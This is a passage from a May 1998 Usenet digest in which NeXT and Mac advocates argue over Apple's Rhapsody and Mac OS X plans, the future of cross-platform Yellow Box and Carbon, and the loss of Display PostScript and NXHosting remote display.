Rhapsody. The information about killing the possibility to remote
display applications is the hardest news at all. I hope, it is
only a rumor.
I'm the administrator of a 200 machines OPENSTEP network and I have
to fight hard against all windows guys. The best argument against
it always was the argument of support cost. One big point of this
is the possibility to f.e. become a different user on a different
machine and remote display, what is going on on his side without
walking dozens of kilometers around all the time (like $MS admins
do).
Apple always argued with TCO (Total Cost of Ownership). They should
not shoot theirselves into their knees. Throwing out everything, we
can do better than $MS and trying to make the same bullshit "better"
or "MAC-like" is the worst thing they can do.
Apple beware: Remote displaying is one of the major arguments for
big network installations, educational or commercial.
If the background of this plan is giving up DPS - this would be bad
enough - you have to find another (good) way to do something like
NXHosting.
The second point is the future of platform independance. All the
week there was no statement about Rhapsody for Intel or Mac OS X
for Intel. I have only PCs and I am not very glad with them, but
it is absolutely not realistic, that ANY company will throw out
all PCs at once and replace them with MACs.
If this is Apples strategy, they will have many customers less
including us.
> ........ Henry
CIAO Volker
--
Volker Safran, Berlin, Germany ___________________________________
--- / Phone: +49 30 69041523 (private)
volker@abulafia.in-berlin.de / +49 30 45058062 (at work)
vsafran@ukrv.de (at work) / FAX : +49 30 69041524 (private)
______________________________/ +49 30 45058904 (at work)
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 23:33:45 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com>
In article <355CB499.EB48D472@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
> > It's in most of their discussions on YB.
>
> And 98? And NT 5.X? That's Micro$oft's future. Why hasn't Apple
announced planned
> support for them? NT4/95 will go away...does Windows YB go away then
too, with the
> only supported YB on PPC?
Are you saying that NT5 and 98 are going to break YB on NT4 and '95?
I'm surpised they lack the backward compatibility (given the minimal
upgrade of '98).
Folks, if this conference has taught us anything let's try to remember
that Apple is really concerned about semantics and the appearance of
things right now. Several months ago Jobs came out and said that everyon
thinks that Apple is focusing on these things with funny names like
colored boxes and musical references. Then he claimed that they are not,
they are singularly focused on the MacOS. Shortly afterward the
newsgroups are full of hot heads claiming that this is a horrible idea
because the MacOS is impossible to upgrade to modern standards. Now, we
see that all those boxes and symphonies were being focused and that
current MacOS programmers have a future withing them. But, we are also
being educated that everything is called components of MacOS.
Does anyone think the TERM "Yellow Box" is much longer for this world?
Apple didn't announce the death of cross platform YB. And, they didn't
announce support for it. They didn't announce the death of Rhapsody on
Intel. And, they didn't announce support for it. Yet, everyone is
fighting over whether it is dead or not. Get a clue, is doesn't matter.
The reason it doesn't matter is due to several realities. Firstly, the
ability of an entirely new OS with entirely new apps to break the Windows
monopoly is fairly limited. Therfore, Apple's move to make Rhapsody a
server OS makes sense since it is emminently more qualified than NT.
But, OpenStep is as much Jobs baby as the Macintosh was, even more so.
He killed alot of technologies since he came to Apple. And, anyone with a
clue would have guessed he would because he had distain for nearly all of
them (he was out to kill Newton from day one). However, given the history
of Steve's tenacity it is highly unlikely he will let OpenStep die. Avie
Tevanian will not let it die. Apple has stated that it is the future of
MacOS programming. Carbon is there as a great way for current folks to
protect their MacOS investment. However, as far as I can see YB on PPC is
the future of MacOS development.
If you want to program apps for YB there will be a small market
available later this year and a bigger one next year. But, if it was the
primary goal of Apple, stated openly and publicly, there might not even be
a next year. Why? Because all of the major developers don't want a new
paradigm for programming. Remember, no one is looking for technical
excellence here, only money. No major developer support, no mass market
support, -> NeXT, OS/2, etc. all over again.
So, this is the dilemma Jobs is faced with. How does he solve it?
Stop talking about competing on Intel and support enough of the current
APIs so that Microsoft comes on board. Get a brand new OS and API out
there into an existing market. Make a move that allows the development
and enhancment of the YB without having to force everyone back to square
one.
And wait.
And believe that you know that YB offers the "20th floor" for
developers out of the box. Know that you have delivered tools that allow
small companies to compete with the behemoths who refuse to rewrite.
Allow the market to grow at unheard of speed and with unheard of
innovation.
And then, when you are no longer in fear. When there are 10000
shipping apps for YB. When OS X has an installed customer base strong
enough to withstand a serious blow. Turn around and stab the
establishment that brought you there in the back.
MacOS XX for x86, Sparc, HP/UX, Merced, DEC, Power. This is the same
strategy we wish for right now. However, you also announce that "all you
have to do is recompile and you are there".
Of course, they'll probably be smoked by poor man's OpenStep (Java) by
then ...:)
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:59:22 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1505981759220001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com>
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In article <355B2F43.D365D2F1@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> With a fully functional, working blue box environment as originally
> described by Apple, there would have been no reason on earth why
> Rhapsody *couldn't* have done exactly that.
Yes, there is: because a crashing Blue-Box app can still bring down all
other Blue-Box apps! It doesn't do much for stability if one apps can still
take down the others, can it?
> That's the purpose of the
> 18-month delay and Carbon....blue box couldn't be made to perform as
> originally advertised.
Bollocks. You have yet to name one promised feature of the Blue Box that
does not "perform as originally advertised." Name one. One.
> > That way he didn't scare those faithful to the Mac OS away. There is a lot
> > of power in a name. With the focus on Mac OS X's backwards compatibility,
> > Apple assuaged fears that all the investment in the current Mac OS would be
> > lost.
>
> At least you admit to the PR core of this whole thing....
PR is fine, as long as it's not covering up anything. This PR is not.
> Oh, sure. It's all so simple. Apple is now on a TRI-OS strategy, and
> that's just so simple and straightforward for everyone--MAC OS
> 8/8.1/8.5, etc., Rhapsody, and now Mac OS 10 which will be significantly
> different from both. Yes, it's such a simple, easy-to-follow strategy
> that developers will be thrilled over it....
Sure they will be! They have two choices: develop for Carbon APIs (will run
on Mac OS, Rhapsody and Mac OS X) or develop for Yellow Box APIs (will run
on Rhapsody or Mac OS X). What's so hard about that? Please don't gloss
over what looks like a great OS strategy.
> > I never said it was a reason for developers to stand and cheer. I said that
> > it is a reason for developers not to panic and leave the platform entirely.
> > There is quite a difference.
>
> What reason? That Apple *said* "hang in there for a couple more years
> until we figure out what we *really* can do?" I don't see much reason
> there, myself.
Eight months. Stop exaggerating. And Rhapsody is out in four, with a DR
available NOW.
> But Jobs has already *killed* whatever impact the release of Rhapsody
> might have had by this Mac OS 10 stunt. Notice Jobs said *nothing* about
> any future at all for Rhapsody past 1.0. That hardly will engender
> anyone's confidence to do much of anything with Rhapsody when it *is*
> released.
As stated numerous times in WWDC sessions, the Rhapsody YB will be in Mac
OS X, which makes it very advantageous to develop for Rhapsody.
> Had blue box worked as advertised,
Put up or shut up. Name one Blue Box feature that didn't work as advertised.
> there wouldn't have been a problem
> with legacy applications. You don't think applications will have to be
> rewritten to run in the optimum OS 10 environment as Jobs has theorized
> it? Of course they will. The "tweaking" only refers to legacy aps--new
> aps will have to be rewritten to run on Mac OS 10....
How can a new app be "rewritten"? Once it's written, it's a legacy app!
> I'm reading a lot of comments here from people aside from myself which
> indicate that the RDF is buckling and developing cracks if not
> chasms....People just get tired of being led endlessly around the bush.
Whine whine whine. Rhapsody is still on schedule and looking great.
> As I say, when Rhapsody is released it will come with a whimper, thanks
> to Jobs' Mac OS 10 stunt.
Still, it's as good as it was advertised to be. It's not Jobs fault that
something better is coming along.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:03:10 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1505981803100001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <andyba-ya02408000R1305981710210001@news> <ericb-1405981314150001@132.236.171.104>
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In article <ericb-1405981314150001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <andyba-ya02408000R1305981710210001@news>,
> andyba@corp.webtv.net (Andy Bates) wrote:
>
>
> > "Late" according to what standard? Before this week, Apple NEVER promised
> > or scheduled a date when a modern OS would be available that would run
> > legacy apps with full compatibility.
>
> Apple promised a January 98 release of Rhapsody to the general public.
> They did not meet that deadline.
This was discussion of Mac OS X, not Rhapsody. Rhapsody was never promised
as a modern mainstream OS for the average Mac user.
Andy Bates.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 98 18:11:12 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B18235D3-17D22@207.217.155.190>
References: <eviltofu-1505981915180001@viking202-50.dhcp.csuohio.edu>
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nntp://news.earthlink.net/comp.sys.next.advocacy
>I'd like to see an Intel Carbon layer. This should induce lots of Mac
>developers to rev up to Carbon.
>
Forget it. Pigs will fly first, and I hereby promise to eat the first Intel
machine publicly demonstrated to run the carbon APIs as documented in the
current white paper.
Most developers are already rev'd to Carbon. I actually have a shipping app
which I'd almost bet money that it will run on Carbon without a recompile -
provided the white paper is accurate.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 23:38:41 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1505982338410001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu> <ericb-1505981752260001@132.236.171.104> <joe.ragosta-1505981917430001@elk90.dol.net>
In article <joe.ragosta-1505981917430001@elk90.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> But aren't YB and Carbon so fundamentally different that mixing them would
> be a mess?
Not at all. YB could be implemented over Carbon. It was planned to
implemented over the current MacOS and it has already been implemented
over Windows. There is no reason it can't be ported to Carbon. It is a
higher level API.
Which leads me to believe that Carbon is simply a MacOS interface over
the sublevels of the original Rhapsody implementation. All roads are
leading to the same place and very little of the core of OpenStep is
receiving any kind of rewrites.
YB is still the object API and Carbon is a new implementation of the
substructure of that (which was basically hidden before).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 16 May 1998 02:57:18 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jivae$1ju$1@camel19.mindspring.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de>
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In article <355CC6E3.F30A0812@nstar.net> Michael J. Peck,
mjpeck@nstar.net writes:
>I don't really think VNC is a viable solution. VNC simply takes a
>picture of the current framebuffer and sends it over the wire with your
>choice of compression. Unlike a real remotability protocol, e.g. X, it's
>inefficient and barely-usable over anything less than 10Mbps Ethernet.
>
>MJP
Timbuktu software works fine even over a 28.8 connection.
The problem is, NXHosting lets you host multiple client sessions off of a
single computer.
Nothing like that with Timbuktu or PCAnywhere.
Dammit, this needs to be put back into place ASAP.
Matthew Cromer
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 98 19:30:46 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1824879-5DEAC@207.217.155.190>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us>
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nntp://news.earthlink.net/comp.sys.next.advocacy
>> Me
> Nathan
>> Someone starting a new app should definitely consider YB _when MacOSX
>> ships_. Right now, however, if you start a new app with hopes of
bringing
>> it to market by fall, you might be taking a significant risk writing to
YB.
>
>Why is that? YB will be shipping in the fall. Even if you don't believe
>that, you can still consider YB when Rhapsody ships, before OS X does.
OpenDoc shipped on time too. It was also publicly rolled out on time. Then
it was axed. Many of the developers who shipped stuff in January, 1997
probably were around a little too long during the DR stages of OpenDoc.
>Or, if you're _really_ paranoid, you can even wait until the OS X beta
>comes out in Q1 99 to prove that Carbon is viable. There's no need to
>wait until Q3 99 to even consider writing YB apps.
Unless you're doing specialty apps that can benefit from Rhapsody, why not
deploy to "Carbon" using PowerPlant? That is a sure bet. There is an
installed base of real users right now - especially useful for functional
user testing as you ramp up the project.
>Remember, it takes time to write apps, and you really would like to have
>something ready _when_ the OS ships, so you can begin selling it.
Been there. Done that. I would never suggest a developer boycott, but I do
think it would be a good thing in the long run if Apple actually had to
deliver on a pie in the sky promise before developers got excited about it
in droves. That's usually the way it plays out anyway ;).
I admire the developers who are going Yellow now, the same way a lot of
developers say they "admired" the OpenDoc crowd. They were happy we were
enthusiastic and all for us forging ahead and blazing the trail, but glad
they were far enough behind to see us get burnt and not get burnt
themselves.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: Fri, 15 May 1998 23:31:07 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1505982331080001@192.168.0.3>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us>
In article <6jgsb2$934$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:In article <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>, akira@home.com wrote:
:
:> Well, just to be more clear on the strategy, DPS exhibits a number of
:> significant problems, not the least of which is the non-thread safe nature
:> of the window server. In addition, the client server nature of DPS imposes
:> some significant drawing restrictions as any of you know who have had to do
:> lots of PS drawing.
:
:Like what?
Why don't you check DejaNews. It's not like Lawson and I have neglected
to mention them. For instance, the client-server nature of the drawing
engine can sap lots of performance in scenes with lots of small primitives
because of the messaging overhead. The client-server system also makes it
a pain to handle time-sensitive media, hence the need for interceptor.
:But won't this degrade refresh performance? The nice thing about
:having buffering done in the window server was that it could redraw
:things itself.
Nothing in the current scheme prevents that. All they have to do is map
the offscreen buffer into both the window server's and the application's
address spaces. Pretty much the same thing that's going on now I imagine.
: If the refresh drawing is done by the app, then if you
:do something like drag a window across the screen, you're constantly
:at a minimum doing a context switch to _each_ app that gets occluded
:or exposed, as well as paging in some of each app.
I just don't think that's going to be that big of a deal. If it is,
then OpenStep needs to rework it's internals, because this sort of stuff
works fine on the BeOS. You could also quit apps that you're not using...
: I'm told that this
:is what's largely responsible for the bad "window tearing" you get when
:live-dragging a window around the screen on Windows NT; OPENSTEP doesn't
:suffer from that problem.
What's largely responsible is poor MS code and design.
:> So some good, and some bad, especially the loss of NXHost,
:
:That's _really_ bad, IMHO. :( I've come to expect that as a _minimal_
:feature for a network-aware, GUI-based OS -- the ability to do GUI
:work remotely!
Yep, it does suck that they removed that feature. My guess is that they
want a higher performance architecture for Quicktime.
:Are they going to put in hooks somehow for this later?
My guess is yes.
:I thought it was fast enough already. :-/ Weren't there also supposed
:to be speed advantages in an SMP system to giving most of a CPU to the
:window server?
I think that's a myth. Have you ever tested it out? The fundamental
problem is that in general your scheme is a *lousy* way to distribute the
computational load. What you really want is the drawing engine as a
thread-safe client-side library. That way if you're doing real-time
transformations to streams of bitmaps, the threads will get an appropriate
amount of the available processing power. Your method just scales
*abysmally* Even on a dual processor system you're just not using the
available resources effectively.
: Is this going to speed up single-CPU graphics performance
:but slow it down on SMP systems?
Chances are it's going to make things more responsive all around.
:Also, was lack of multithreading really that much of a problem if you
:could draw into separate contexts?
From what was hacked about, the primary issue was the Appkit's
interface to DPS. Since they're changing this interface, it's probably a
good time to put in support for threaded drawing.
:If Mike Paquette is reading this, I'd like to hear some reassurment that
:all of this is a Good Thing. It doesn't sound worth it to me.
Well, I don't think Apple had much of a choice.
-Eric
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: IDEAS: proposed improvements for the MacOS
Date: Fri, 15 May 1998 20:53:05 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1505982053050001@news.enetis.net>
References: <6ji90s$522$1@nnrp1.dejanews.com>
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In article <6ji90s$522$1@nnrp1.dejanews.com>, jmcvay@lynn.edu wrote:
> PLEASE REPLY via e-mail and post if you reply. . .
> thank you. . .
(snip)
> DISCLAIMER: the following ideas are presented by
> me—a scripting-only programmer who knows not how
> feasible the following ideas are or even if they already
> exist.
>
> 1) add to app framework
> a) System-wide keys for:
> i) selecting contiguous and non-contiguous items (i.e.
> files, text)
Contiguous and Non-Contiguous selection of FILES is already an integrated
part of most every major GUI including the MacOS... just hold down SHIFT
while selecting. But it would be nice to see a system wide option for
selecting non-contiguous text in an app that isn't otherwised programed to
do so.
> ii) option key on launch to set startup prefs (i.e.
> startup scripts, override system prefs)
Scripts and any items in the Startup Folder can be overridden by depressing
SHIFT just after the Extensions have loaded. You can't override the system
preferences upon startup, but why would you want to in the MacOS? This
isn't DOS we're talking about here ya know. :/
> b) recently used files capability
MacOS 7.6+ already tracks and saves recently used applications, servers,
and files as aliases within the Apple Menu.
> c) programs should be able to save and restore state a
> la virtualPC
> i) think how great it would be to have a save and
> restore state functionality along with a auto start-up
> and shutdown capability--you could leave the office at
> 5:00pm, it would turn itself off and in the morning at
> 9am when you get in, it's the exact same as when you
> left it. . .
You can time sleep and shutdown commands via Apple script in any version of
the MacOS... and it's extremely easy. You may even be able to find
pre-written scripts that do this on the web.
> ii) and think about the computer/program crashing and
> when restarted it goes to the same state as before
> (you would have the option of using the option key on
> startup to set options, such as restore state (which
> may have caused the crash to begin with))
I have to admit, that would be nice. But unless each and every application
is using a scratch disk, I don't see how it would be possible. Your RAM
requirments would shoot through the roof, and the system would be hogging
hundreds of more Megs of drive space. On the other hand, it may be a small
price to pay for many users, so long as the option works when they need it
to.
> iii) we need clipboard restoration at a minimum. . .
I've often wondered why the clipboard couldn't be saved in a temp file that
didn't get erased if the system unexpectedly shut down. So as long as the
speed issue could be overcome by saving clipboard items to disk, it's good
idea.
> d) find engine API
> i) the find capability should be a uniform interface for
> the user, especially considering the ever-fast growing
> of info people have to weed through
Not quite sure what you mean here.
> ii) would have v-twin, simple and complex find/replace
> and regular expression capabilities.
Agreed, Find/Replace should be an integrated feature.
> iii) the framework should be extendable to other apps
> allowing capabilities like searching through only certain
> styles, file type, object type, etc.
Agreed.
> (1) should be undoable
The MacOS is already undoable... to an extent. For instance, if you change
the name of a file you can undo it, as long as you having deselected the
file name. Once you've desected it you can't undo it. Apple should spend
time making this feature more useful.
(snip)
> e) Callbacks
> i) Programs should have callbacks for certain events
> (1) on launch, on quit, close document, open document
I'm not sure of the relevance of using a callback proceedure in these
situations. But callbacks are already used in a multitude of ways in the
MacOS.
> ii) also, should allow scripts to be run automatically at
> certain times (at x o’clock, every x minutes, after x
> min. of inactivity, launch, quit)
You can program any script to launch at a specific time or even with a
specific event happens. It is not difficult, but perhaps a user friendly
control panel wouldn't be a bad idea.
> f) backup API
Backup API? Perhaps you mean just a simple backup application. But Apple
Script is perfect for auto-backups.
> i) for allowing programs to automatically backup their
> documents in the background at user-specified times
Specific programs don't have control over specific documents and I don't
think they should.
(sip)
> i) Ability to build our own application specific floating
> palettes using the GUI with the program. . .sort of like
> tear-off menus
Some apps already do this... but not from menus. I think this is a great
idea and something that Apple should seriously consider for MacOS X.
> j) calls to tell apps where to put their prefs, libraries,
> docs, etc.
Ahh... the MacOS has allowed for this since time began.
(snip)
> 2) documents folder
> a) preferences for programs should be kept here
No... preferences for programs should be kept in that program's folder. I
HATE the idea of a global preferences folder whether it's called,
"Preferences", "Documents", whatever. :(
> b) application documentation should go in documents
> folder
You can set applications to save their files to any specific folder by
default... but that should NOT be the default.
> c) Prefs and all other custom-oriented (created) files
> should be kept in the documents folder.
Why just have one folder for everything? No hierarchies to worry about...
the easiest folder to use! :(
> 3) Filesystem
> a) Versioning
> i) Documents should not only include the ability to add
> comments, but also versioning.
Why would you want to change the version? The compilers keep track of the
version for developers. Only the developer him self would be concered with
the version number. Besides... if you really need to do this you can
always use ResEdit to modify the "vers" resource.
> b) Virus prevention included
> i) the macOS is already the easiest to use and one of
> the most secure. it would be good to know that it's the
> most inoculated OS out there, too. . .
MacOS already comes with Disinfectant for free... has for years.
> c) whenever an alias is encountered that is broken, the
> filesystem prompts for a reconnect of the alias with the
> pointed-to file
The only reasons an alias breaks are if the original file is removed from
the hierarchy or deleted. So there isn't an original file left for the
alias to be pointed to.
(snip)
> b) Add a scripting (with recording) menu to scriptable
> apps.
Sure... that would be a cool option for power users.
> c) Provide a GUI-builder for applescript
A GUI-builder? Apple Script is not an application language... I'm not sure
how you would go about programming such a thing.
> d) provide some mechanism for allowing other
> languages (i.e. python) to build application classes from
> appleevents for easy control within languages other
> than applescipt
I don't think there are any plans to port appleevents to python.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 16 May 1998 02:51:23 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jiuvb$58k$1@camel19.mindspring.com>
References: <CXu61.6$Mi1.81154@news.rdc1.sfba.home.com> <B1822F29-1396C1B@134.174.31.187> <6jiarc$n53$4@cronkite.cygnus.com> <355CD43F.E6B430C2@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
I agree--bring back remote hosting dammit.
Matthew Cromer
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 20:30:12 -0700
Message-ID: <see-below-1505982030120001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com> <355C787A.2B058D89@milestonerdl.com> <6jibt6$9ch$1@nnrp1.dejanews.com> <eviltofu-1505981915180001@viking202-50.dhcp.csuohio.edu>
In article <eviltofu-1505981915180001@viking202-50.dhcp.csuohio.edu>,
eviltofu@rocketmail.com (Jerome Chan) wrote:
> I'd like to see an Intel Carbon layer. This should induce lots of Mac
> developers to rev up to Carbon.
Bad idea. Not gonna happen. Besides, Mac developers will have little
problem "revving up to" Carbon. They don't need any extra incentive.
Carbon is what the developers asked Apple to do, after all.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 20:41:25 -0700
Message-ID: <see-below-1505982041250001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
In article <6jhtr4$ibt$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> mark@milestonerdl.com wrote:
> > > The death of YB as a cross-platform solution. If Apple were going to
> > > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > > I think they would have announced it at WWDC. They did not. Read between
> > > the lines. What does this tell you?
> >
> > The party is NOT over yet.
> >
> > Now, I asked about YellowBox on NT 5.x/98 5-7 months ago. And, when
> > WWDC was ramping up, the ProNeXT people said 'wait for WWDC, it will
> > tell all'.
> > WWDC isn't over yet....but when it is, and there is no NT 5.x
> > announcement, the cross-platform YellowBox will be a promise that
> > Apple has no intention of supporting it in the long-term.
>
> According to Scott Anguish's detailed WWDC notes:
>
> :: One thing that I do want to note is that it was mentioned on
> :: several occasions that Yellow Box for Windows is a long-term
> :: commitment, and that it will run on Windows 98 and NT 5.0
> :: (if it ever appears). I think it was mentioned that DR2 runs
> :: on the current Windows 98 beta.
>
> See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
>
> Satisfied?
In addition to which, I see Yellow Box for Windows and Rhapsody for Intel
as integral to Apple's strategy. If it's not available on Intel, you can
automatically cut the number of apps that are likely to appear for it in
half, if not worse. So killing YB for Windows, or Rhapsody for Intel would
be striking a big blow against YB's chances of success on PPC as well.
As I've said before, no matter how good it is, if Apple killed YB on
Intel, I'd expect them to kill it on PPC very soon after. And I don't see
that happening, at all.
Apple needs every advantage over competitors they can get. Having rapid,
elegant YB development would be one advantage. Apple also needs as many
apps available for the platform as possible. Having a cross-platform
solution is the best way to ensure that. And Apple may want a "fall-back"
position in case PPC really does fail at some point, or just to ride a
higher rate of growth in the Intel market as well as demand for servers,
so having some presence on Intel is also a smart move.
But they won't make Carbon for Rhapsody/Intel, let alone Windows, because
they still need to sell PPC hardware (if they sold Intel hardware instead,
they'd need to cut prices to match models which are now direclty
comparable, killing their gross margins, and removing their ability to
spend enough on software development). The markets they'll target in the
Intel market are ones that won't necessarily draw away too many of their
existing customers.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 20:44:19 -0700
Message-ID: <see-below-1505982044200001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <joe.ragosta-1505981421490001@wil136.dol.net> <355CB23B.6C5C0796@milestonerdl.com>
In article <355CB23B.6C5C0796@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > In article <ericb-1405981303550001@132.236.171.104>, ericb@pobox.com (Eric
> > Bennett) wrote:
> > > In article <6jcf2d$iu2@newsb.netnews.att.com>,
> > > gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > > > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > > > What is everybody's problem ?
> > > The death of YB as a cross-platform solution. If Apple were going to
> > > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > > I think they would have announced it at WWDC. They did not. Read between
> > > the lines. What does this tell you?
> > It says that they didn't feel like repeating themselves.
>
> Other options:1) Apple doesn't HAVE a plan
> 2) Apple is planning on a bait-n-switch, such that the only place to go with
> YellowBox is PPC when they let the Intel side die.
Why on earth would they want to do that? That sounds like the stupidest
plan I could think of.
> > Cross-platform support has always been a key feature of the Yellow Box.
> > It's still there and is going to stay there. Until someone finds a
> > statement from Apple saying otherwise.
>
> Professional suicide in MIS to offer up YellowBox as a long-term
cross-platform
> solution at this time. With no announced plans for NT 5.x, where would you go
> when NT 4 runs out? Count on the good graces of Apple?
>
>
> Stealth product changes don't make friends in MIS. Perhaps that's part of
